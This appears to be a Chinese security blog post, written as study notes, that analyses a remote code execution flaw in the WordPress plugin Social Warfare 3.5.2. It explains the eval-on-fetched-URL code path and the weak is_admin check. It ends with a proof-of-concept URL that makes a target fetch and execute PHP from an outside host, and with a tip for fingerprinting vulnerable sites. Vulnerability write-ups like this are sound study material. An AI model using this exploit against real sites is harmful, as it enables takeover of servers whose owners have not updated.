记录一个有意思的wordpress插件漏洞,作为学习笔记保留。
WordPress是一个非常流行的PHP版本blog系统,本次漏洞出现在常用的分享插件Social Warfare中,该插件运行对网站运行速度影响较小,因此广受欢迎,境外网站使用率较高。
漏洞版本Social Warfare 3.5.2
目前官方已经发布最新版本3.6,请及时更新。
漏洞产生流程:
触发点1:
在Social Warfare 3.5.2版本的 /lib/utilities/SWP_Database_Migration.php文件中,代码196-207行。
代码中的debug_parameters方法使用了get_user_options模块。
这个模块是用来调用插件自身 SWP_Database_Migration.php 文件的 initialize_database方法,将其中的$defaults数组调出,显示配置信息。
那直接通过payload:index.php?swp_debug=get_user_options来执行的话,浏览器会返回该插件的配置信息 。
触发点2:
而漏洞关键点出现在SWP_Database_Migration.php代码的226行,也就是load_options模块(该模块是用于调试迁移数据库使用):
先来看下这段代码的流程
代码231行,直接使用了file_get_contents方法发送读取请求,但是其中的$_GET['swp_url'未作任何限制,导致swp_url是我们可控的地址。
代码238行至247行,对提交的<pre>至</pre>的内容进行拼接,赋值给变量$array,在247行中将变量直接带入eval中执行。
我们可控的url内容被带入eval执行,漏洞产生。
但是这里有个问题,在代码初始阶段,load_options模块先使用了is_admin方法进行了权限验证。
触发点3:
既然做了权限验证,是否我们就无法直接使用这个漏洞了呢?那在来看is_admin是如何来进行验证的。
wpblog中的wp-includes/load.php文件内is_admin方法的代码片段
从代码可以看出,is_admin方法只是对当前常量WP_ADMIN进行判断,判断其是否为true,如果此时运行的常量WP_AMDIN是true则会通过。
而在WP中,常量WP_ADMIN是用来判断是否为后台文件使用,而大多数后台文件中通常都会将WP_ADMIN定义为true,这种校验方法,并不能判断当前访问这是否是admin。
那么如果我们的入口是后台文件,满足WP_ADMIN为真,因此这个漏洞的运行环境也产生了。
我们来理一理整个漏洞流程:
1、/lib/utilities/SWP_Database_Migration.php文件中,debug_parameters方法使用了get_user_options模块。
2、get_user_options模块的使用,可以通过直接访问来显示initialize_database方法中的$defaults数组信息。
前两点作为铺垫。
3、SWP_Database_Migration.php文件中,漏洞代码段226行,使用了模块load_options,这个模块中使用file_get_contents方法读取文件。
4、而file_get_contents却未作任何限制,读取的$_GET['swp_url'内容,却是我们可控的地址。
5、代码238行开始,读取值中<pre>标签内容进行拼接,赋值给变量$array后,直接带入eval()中执行,到这里漏洞出现。
5、同时问题也出现了,因为代码的226行,用了is_admin对权限进行校验。
6、通过分析is_amdin方法,发现仅仅是判断常量WP_ADMIN是否为真,而WP的后台文件中都会把常量WP_ADMIN定义为真。
7、如果我们构造的入口是定义WP_ADMIN为真的后台文件,就可以满足这个校验,让程序运行下去,从而漏洞产生的所有问题都解决了。
漏洞使用:
1、首先本地搭建WordPress环境,安装Social Warfare 3.5.2版本插件。
2、本地构造一段恶意php代码,并放在服务器内,我这里使用phphifo()演示。
<pre>phpinfo()</pre>
3、直接构造payload:
POC: http://127.0.0.1/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://nukeblog.cn/text.php
刚知道这个漏洞时,觉得很普通,但是看了很多关于该漏洞的分析文章,插件的漏洞和主站的逻辑环环相扣,还是蛮有意思的。写一篇博文记录一下。
* 虽然官方已经进行插件升级,删除由于WrodPress不支持插件自动更新,如果使用了这个插件的用户,不经常维护自己的blog更新插件版本,会导致漏洞被利用。
* 可以通过访问目标的wp-content/plugins/social-warfare/readme.txt目录文件判断是否安装Social Warfare 插件,并能获取版本信息。
觉得文字有用,请点击下方打赏按钮,扫描二维码打赏作者。